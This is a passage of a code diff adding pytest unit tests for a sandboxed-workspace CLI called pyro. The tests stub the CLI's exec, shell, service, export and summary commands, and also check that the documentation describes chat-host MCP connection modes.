workspace_id, + "execution_mode": "guest_vsock", + "workspace_sync": { + "mode": "directory", + "source_path": "/tmp/repo", + "destination": "/workspace", + "entry_count": 2, + "bytes_written": 12, + }, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="sync", + workspace_sync_command="push", + workspace_id="workspace-123", + source_path="./repo", + dest="/workspace", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "[workspace-sync] workspace_id=workspace-123 mode=directory source=/tmp/repo" in output + assert ( + "destination=/workspace entry_count=2 bytes_written=12 execution_mode=guest_vsock" + ) in output + + +def test_cli_workspace_logs_and_delete_print_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def logs_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "count": 1, + "entries": [ + { + "sequence": 1, + "exit_code": 0, + "duration_ms": 2, + "cwd": "/workspace", + "command": "printf 'ok\\n'", + "stdout": "ok\n", + "stderr": "", + } + ], + } + + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return {"workspace_id": workspace_id, "deleted": True} + + class LogsParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="logs", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + + class DeleteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="delete", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: DeleteParser()) + cli.main() + + output = capsys.readouterr().out + assert "#1 exit_code=0 duration_ms=2 cwd=/workspace" in output + assert "Deleted workspace: workspace-123" in output + + +def test_cli_workspace_status_and_delete_print_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def status_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return {"workspace_id": workspace_id, "state": "started"} + + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return {"workspace_id": workspace_id, "deleted": True} + + class StatusParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="status", + workspace_id="workspace-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + status = json.loads(capsys.readouterr().out) + assert status["state"] == "started" + + class DeleteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="delete", + workspace_id="workspace-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: DeleteParser()) + cli.main() + deleted = json.loads(capsys.readouterr().out) + assert deleted["deleted"] is True + + +def test_cli_workspace_status_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def status_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "environment": "debian:12", + "state": "started", + "workspace_path": "/workspace", + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 0, + "last_command": None, + "service_count": 1, + "running_service_count": 1, + } + + class StatusParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="status", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Workspace ID: workspace-123" in output + assert "Services: 1/1" in output + + +def test_cli_workspace_logs_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def logs_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return {"workspace_id": workspace_id, "count": 0, "entries": []} + + class LogsParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="logs", + workspace_id="workspace-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["count"] == 0 + + +def test_cli_workspace_summary_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "name": "review-eval", + "labels": {"suite": "smoke"}, + "environment": "debian:12", + "state": "started", + "last_activity_at": 2.0, + "session_started_at": 1.0, + "outcome": { + "command_count": 1, + "last_command": {"command": "cat note.txt", "exit_code": 0}, + "service_count": 0, + "running_service_count": 0, + "export_count": 1, + "snapshot_count": 1, + "reset_count": 0, + }, + "commands": {"total": 1, "recent": []}, + "edits": {"recent": []}, + "changes": {"available": True, "changed": False, "summary": None, "entries": []}, + "services": {"current": [], "recent": []}, + "artifacts": {"exports": []}, + "snapshots": {"named_count": 1, "recent": []}, + } + + class SummaryParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="summary", + workspace_id="workspace-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SummaryParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["workspace_id"] == "workspace-123" + assert payload["outcome"]["export_count"] == 1 + + +def test_cli_workspace_summary_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "name": "review-eval", + "labels": {"suite": "smoke", "use_case": "review-eval"}, + "environment": "debian:12", + "state": "started", + "last_activity_at": 3.0, + "session_started_at": 1.0, + "outcome": { + "command_count": 2, + "last_command": {"command": "sh review.sh", "exit_code": 0}, + "service_count": 1, + "running_service_count": 0, + "export_count": 1, + "snapshot_count": 1, + "reset_count": 0, + }, + "commands": { + "total": 2, + "recent": [ + { + "sequence": 2, + "command": "sh review.sh", + "cwd": "/workspace", + "exit_code": 0, + "duration_ms": 12, + "execution_mode": "guest_vsock", + "recorded_at": 3.0, + } + ], + }, + "edits": { + "recent": [ + { + "event_kind": "patch_apply", + "recorded_at": 2.0, + "path": "/workspace/note.txt", + } + ] + }, + "changes": { + "available": True, + "changed": True, + "summary": { + "total": 1, + "added": 0, + "modified": 1, + "deleted": 0, + "type_changed": 0, + "text_patched": 1, + "non_text": 0, + }, + "entries": [ + { + "path": "/workspace/note.txt", + "status": "modified", + "artifact_type": "file", + } + ], + }, + "services": { + "current": [{"service_name": "app", "state": "stopped"}], + "recent": [ + { + "event_kind": "service_stop", + "service_name": "app", + "state": "stopped", + } + ], + }, + "artifacts": { + "exports": [ + { + "workspace_path": "review-report.txt", + "output_path": "/tmp/review-report.txt", + } + ] + }, + "snapshots": { + "named_count": 1, + "recent": [{"event_kind": "snapshot_create", "snapshot_name": "checkpoint"}], + }, + } + + class SummaryParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="summary", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SummaryParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Workspace review: workspace-123" in output + assert "Outcome: commands=2 services=0/1 exports=1 snapshots=1 resets=0" in output + assert "Recent commands:" in output + assert "Recent edits:" in output + assert "Changes: total=1 added=0 modified=1 deleted=0 type_changed=0 non_text=0" in output + assert "Recent exports:" in output + assert "Recent snapshot events:" in output + + +def test_cli_workspace_delete_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return {"workspace_id": workspace_id, "deleted": True} + + class DeleteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="delete", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: DeleteParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + assert "Deleted workspace: workspace-123" in capsys.readouterr().out + + +def test_cli_workspace_exec_prints_json_and_exits_nonzero( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def exec_workspace( + self, + workspace_id: str, + *, + command: str, + timeout_seconds: int, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert command == "false" + assert timeout_seconds == 30 + assert secret_env is None + return { + "workspace_id": workspace_id, + "sequence": 1, + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "exit_code": 2, + "duration_ms": 5, + "stdout": "", + "stderr": "boom\n", + } + + class ExecParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="exec", + workspace_id="workspace-123", + timeout_seconds=30, + secret_env=[], + json=True, + command_args=["--", "false"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ExecParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="2"): + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["exit_code"] == 2 + + +def test_cli_workspace_exec_prints_human_error( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def exec_workspace( + self, + workspace_id: str, + *, + command: str, + timeout_seconds: int, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + del workspace_id, command, timeout_seconds + assert secret_env is None + raise RuntimeError("exec boom") + + class ExecParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="exec", + workspace_id="workspace-123", + timeout_seconds=30, + secret_env=[], + json=False, + command_args=["--", "cat", "note.txt"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ExecParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + assert "[error] exec boom" in capsys.readouterr().err + + +def test_cli_workspace_export_and_diff_print_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def export_workspace( + self, workspace_id: str, path: str, *, output_path: str + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "note.txt" + assert output_path == "./note.txt" + return { + "workspace_id": workspace_id, + "workspace_path": "/workspace/note.txt", + "output_path": "/tmp/note.txt", + "artifact_type": "file", + "entry_count": 1, + "bytes_written": 6, + "execution_mode": "guest_vsock", + } + + def diff_workspace(self, workspace_id: str) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "changed": False, + "summary": { + "total": 0, + "added": 0, + "modified": 0, + "deleted": 0, + "type_changed": 0, + "text_patched": 0, + "non_text": 0, + }, + "entries": [], + "patch": "", + } + + class ExportParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="export", + workspace_id="workspace-123", + path="note.txt", + output="./note.txt", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ExportParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + export_payload = json.loads(capsys.readouterr().out) + assert export_payload["artifact_type"] == "file" + + class DiffParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="diff", + workspace_id="workspace-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: DiffParser()) + cli.main() + diff_payload = json.loads(capsys.readouterr().out) + assert diff_payload["changed"] is False + + +@pytest.mark.parametrize( + ("command_name", "json_mode", "method_name"), + [ + ("list", True, "list_services"), + ("list", False, "list_services"), + ("status", True, "status_service"), + ("status", False, "status_service"), + ("logs", True, "logs_service"), + ("logs", False, "logs_service"), + ("stop", True, "stop_service"), + ("stop", False, "stop_service"), + ], +) +def test_cli_workspace_service_error_paths( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], + command_name: str, + json_mode: bool, + method_name: str, +) -> None: + class StubPyro: + def list_services(self, workspace_id: str) -> dict[str, Any]: + del workspace_id + raise RuntimeError("service branch boom") + + def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + del workspace_id, service_name + raise RuntimeError("service branch boom") + + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int | None, + all: bool, + ) -> dict[str, Any]: + del workspace_id, service_name, tail_lines, all + raise RuntimeError("service branch boom") + + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + del workspace_id, service_name + raise RuntimeError("service branch boom") + + class Parser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command=command_name, + workspace_id="workspace-123", + service_name="app", + tail_lines=50, + all=False, + json=json_mode, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: Parser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + captured = capsys.readouterr() + if json_mode: + payload = json.loads(captured.out) + assert payload["error"] == "service branch boom" + else: + assert "[error] service branch boom" in captured.err + assert hasattr(StubPyro, method_name) + + +def test_cli_workspace_shell_open_and_read_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def open_shell( + self, + workspace_id: str, + *, + cwd: str, + cols: int, + rows: int, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert cwd == "/workspace" + assert cols == 120 + assert rows == 30 + assert secret_env is None + return { + "workspace_id": workspace_id, + "shell_id": "shell-123", + "state": "running", + "cwd": cwd, + "cols": cols, + "rows": rows, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + } + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int, + max_chars: int, + plain: bool = False, + wait_for_idle_ms: int | None = None, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert shell_id == "shell-123" + assert cursor == 0 + assert max_chars == 1024 + assert plain is True + assert wait_for_idle_ms == 300 + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "cursor": 0, + "next_cursor": 14, + "output": "pyro$ pwd\n", + "truncated": False, + "plain": plain, + "wait_for_idle_ms": wait_for_idle_ms, + } + + class OpenParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="open", + workspace_id="workspace-123", + cwd="/workspace", + cols=120, + rows=30, + secret_env=[], + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: OpenParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + + class ReadParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="read", + workspace_id="workspace-123", + shell_id="shell-123", + cursor=0, + max_chars=1024, + plain=True, + wait_for_idle_ms=300, + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) + cli.main() + + captured = capsys.readouterr() + assert "pyro$ pwd\n" in captured.out + assert "[workspace-shell-open] workspace_id=workspace-123 shell_id=shell-123" in captured.err + assert "[workspace-shell-read] workspace_id=workspace-123 shell_id=shell-123" in captured.err + assert "plain=True" in captured.err + assert "wait_for_idle_ms=300" in captured.err + + +def test_cli_workspace_shell_open_prints_id_only( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def open_shell( + self, + workspace_id: str, + *, + cwd: str, + cols: int, + rows: int, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert cwd == "/workspace" + assert cols == 120 + assert rows == 30 + assert secret_env is None + return { + "workspace_id": workspace_id, + "shell_id": "shell-123", + "state": "running", + "cwd": cwd, + "cols": cols, + "rows": rows, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="open", + workspace_id="workspace-123", + cwd="/workspace", + cols=120, + rows=30, + secret_env=[], + json=False, + id_only=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert captured.out == "shell-123\n" + assert captured.err == "" + + +def test_chat_host_docs_and_examples_recommend_modes_first() -> None: + readme = Path("README.md").read_text(encoding="utf-8") + install = Path("docs/install.md").read_text(encoding="utf-8") + first_run = Path("docs/first-run.md").read_text(encoding="utf-8") + integrations = Path("docs/integrations.md").read_text(encoding="utf-8") + mcp_config = Path("examples/mcp_client_config.md").read_text(encoding="utf-8") + claude_code = Path("examples/claude_code_mcp.md").read_text(encoding="utf-8") + codex = Path("examples/codex_mcp.md").read_text(encoding="utf-8") + opencode = json.loads(Path("examples/opencode_mcp_config.json").read_text(encoding="utf-8")) + claude_helper = "pyro host connect claude-code --mode cold-start" + codex_helper = "pyro host connect codex --mode repro-fix" + inspect_helper = "pyro host connect codex --mode inspect" + review_helper = "pyro host connect claude-code --mode review-eval" + opencode_helper = "pyro host print-config opencode --mode repro-fix" + claude_cmd = "claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start" + codex_cmd = "codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix" + + assert "## Chat Host Quickstart" in readme + assert claude_helper in readme + assert codex_helper in readme + assert inspect_helper in readme + assert review_helper in readme + assert opencode_helper in readme + assert "examples/opencode_mcp_config.json" in readme + assert "pyro host doctor" in readme + assert "pyro mcp serve --mode repro-fix" in readme + assert "generic no-mode path" in readme + assert "auto-detects the current Git checkout" in readme.replace("\n", " ") + assert "--project-path /abs/path/to/repo" in readme + assert "--repo-url https://github.com/example/project.git" in readme + + assert "## 6. Connect a chat host" in install + assert claude_helper in install + assert codex_helper in install + assert inspect_helper in install + assert review_helper in install + assert opencode_helper in install + assert "workspace-full" in install + assert "--project-path /abs/path/to/repo" in install + assert "pyro mcp serve --mode cold-start" in install + + assert claude_helper in first_run + assert codex_helper in first_run + assert inspect_helper in first_run + assert review_helper in first_run + assert opencode_helper in first_run + assert "--project-path /abs/path/to/repo" in first_run + assert "pyro mcp serve --mode review-eval" in first_run + + assert claude_helper in integrations + assert codex_helper in integrations + assert inspect_helper in integrations + assert review_helper in integrations + assert opencode_helper in integrations + assert "## Recommended Modes" in integrations + assert "pyro mcp serve --mode inspect" in integrations + assert "auto-detects the current Git checkout" in integrations + assert "examples/claude_code_mcp.md" in integrations + assert "examples/codex_mcp.md" in integrations + assert "examples/opencode_mcp_config.json" in integrations + assert "generic no-mode path" in integrations + assert "--project-path /abs/path/to/repo" in integrations + assert "--repo-url https://github.com/example/project.git" in integrations + + assert "Recommended named modes for most chat hosts in `4.x`:" in mcp_config + assert "Use the host-specific examples first when they apply:" in mcp_config + assert "claude_code_mcp.md" in mcp_config + assert "codex_mcp.md" in mcp_config + assert "opencode_mcp_config.json" in mcp_config + assert '"serve", "--mode", "repro-fix"' in mcp_config + + assert claude_helper in claude_code + assert claude_cmd in claude_code + assert "claude mcp list" in claude_code + assert "pyro host repair claude-code --mode cold-start" in claude_code + assert "workspace-full" in claude_code + assert "--project-path /abs/path/to/repo" in claude_code + + assert codex_helper in codex + assert codex_cmd in codex + assert "codex mcp list" in codex + assert "pyro host repair codex --mode repro-fix" in codex + assert "workspace-full" in codex + assert "--project-path /abs/path/to/repo" in codex + + assert opencode == { + "mcp": { + "pyro": { + "type": "local", + "enabled": True, + "command": [ + "uvx", + "--from", + "pyro-mcp", + "pyro", + "mcp", + "serve", + "--mode", + "repro-fix", + ], + } + } + } + + +def test_content_only_read_docs_are_aligned() -> None: + readme = Path("README.md").read_text(encoding="utf-8") + install = Path("docs/install.md").read_text(encoding="utf-8") + first_run = Path("docs/first-run.md").read_text(encoding="utf-8") + + assert 'workspace file read "$WORKSPACE_ID" note.txt --content-only' in readme + assert 'workspace file read "$WORKSPACE_ID" note.txt --content-only' in install + assert 'workspace file read "$WORKSPACE_ID" note.txt --content-only' in first_run + assert 'workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch' in first_run + + +def test_daily_loop_docs_are_aligned() -> None: + readme = Path("README.md").read_text(encoding="utf-8") + install = Path("docs/install.md").read_text(encoding="utf-8") + first_run = Path("docs/first-run.md").read_text(encoding="utf-8") + integrations = Path("docs/integrations.md").read_text(encoding="utf-8") + + assert "pyro prepare debian:12" in readme + assert "pyro prepare debian:12" in install + assert "pyro prepare debian:12" in first_run + assert "pyro prepare debian:12" in integrations + assert "pyro doctor --environment debian:12" in readme + assert "pyro doctor --environment debian:12" in install + assert "pyro doctor --environment debian:12" in first_run + + +def test_workspace_summary_docs_are_aligned() -> None: + readme = Path("README.md").read_text(encoding="utf-8") + install = Path("docs/install.md").read_text(encoding="utf-8") + first_run = Path("docs/first-run.md").read_text(encoding="utf-8") + + assert 'workspace summary "$WORKSPACE_ID"' in readme + assert 'workspace summary "$WORKSPACE_ID"' in install + assert 'workspace summary "$WORKSPACE_ID"' in first_run + + +def test_cli_workspace_shell_write_signal_close_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def write_shell( + self, + workspace_id: str, + shell_id: str, + *, + input: str, + append_newline: bool, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert shell_id == "shell-123" + assert input == "pwd" + assert append_newline is False + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "input_length": 3, + "append_newline": False, + } + + def signal_shell( + self, + workspace_id: str, + shell_id: str, + *, + signal_name: str, + ) -> dict[str, Any]: + assert signal_name == "INT" + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "signal": signal_name, + } + + def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "stopped", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": 2.0, + "exit_code": 0, + "execution_mode": "guest_vsock", + "closed": True, + } + + class WriteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="write", + workspace_id="workspace-123", + shell_id="shell-123", + input="pwd", + no_newline=True, + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: WriteParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + written = json.loads(capsys.readouterr().out) + assert written["append_newline"] is False + + class SignalParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="signal", + workspace_id="workspace-123", + shell_id="shell-123", + signal="INT", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SignalParser()) + cli.main() + signaled = json.loads(capsys.readouterr().out) + assert signaled["signal"] == "INT" + + class CloseParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="close", + workspace_id="workspace-123", + shell_id="shell-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: CloseParser()) + cli.main() + closed = json.loads(capsys.readouterr().out) + assert closed["closed"] is True + + +def test_cli_workspace_shell_open_and_read_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def open_shell( + self, + workspace_id: str, + *, + cwd: str, + cols: int, + rows: int, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + assert secret_env is None + return { + "workspace_id": workspace_id, + "shell_id": "shell-123", + "state": "running", + "cwd": cwd, + "cols": cols, + "rows": rows, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + } + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int, + max_chars: int, + plain: bool = False, + wait_for_idle_ms: int | None = None, + ) -> dict[str, Any]: + assert plain is False + assert wait_for_idle_ms is None + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "cursor": cursor, + "next_cursor": max_chars, + "output": "pyro$ pwd\n", + "truncated": False, + "plain": plain, + "wait_for_idle_ms": wait_for_idle_ms, + } + + class OpenParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="open", + workspace_id="workspace-123", + cwd="/workspace", + cols=120, + rows=30, + secret_env=[], + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: OpenParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + opened = json.loads(capsys.readouterr().out) + assert opened["shell_id"] == "shell-123" + + class ReadParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="read", + workspace_id="workspace-123", + shell_id="shell-123", + cursor=0, + max_chars=1024, + plain=False, + wait_for_idle_ms=None, + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["output"] == "pyro$ pwd\n" + + +def test_cli_workspace_shell_write_signal_close_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def write_shell( + self, + workspace_id: str, + shell_id: str, + *, + input: str, + append_newline: bool, + ) -> dict[str, Any]: + del input, append_newline + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "input_length": 3, + "append_newline": True, + } + + def signal_shell( + self, + workspace_id: str, + shell_id: str, + *, + signal_name: str, + ) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "signal": signal_name, + } + + def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "stopped", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": 2.0, + "exit_code": 0, + "execution_mode": "guest_vsock", + "closed": True, + } + + class WriteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="write", + workspace_id="workspace-123", + shell_id="shell-123", + input="pwd", + no_newline=False, + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: WriteParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + + class SignalParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="signal", + workspace_id="workspace-123", + shell_id="shell-123", + signal="INT", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SignalParser()) + cli.main() + + class CloseParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="close", + workspace_id="workspace-123", + shell_id="shell-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: CloseParser()) + cli.main() + captured = capsys.readouterr() + assert "[workspace-shell-write]" in captured.err + assert "[workspace-shell-signal]" in captured.err + assert "[workspace-shell-close]" in captured.err + + +@pytest.mark.parametrize( + ("shell_command", "kwargs"), + [ + ("open", {"cwd": "/workspace", "cols": 120, "rows": 30}), + ( + "read", + { + "shell_id": "shell-123", + "cursor": 0, + "max_chars": 1024, + "plain": False, + "wait_for_idle_ms": None, + }, + ), + ("write", {"shell_id": "shell-123", "input": "pwd", "no_newline": False}), + ("signal", {"shell_id": "shell-123", "signal": "INT"}), + ("close", {"shell_id": "shell-123"}), + ], +) +def test_cli_workspace_shell_error_paths( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], + shell_command: str, + kwargs: dict[str, Any], +) -> None: + class StubPyro: + def open_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: + del args, inner_kwargs + raise RuntimeError("shell boom") + + def read_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: + del args, inner_kwargs + raise RuntimeError("shell boom") + + def write_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: + del args, inner_kwargs + raise RuntimeError("shell boom") + + def 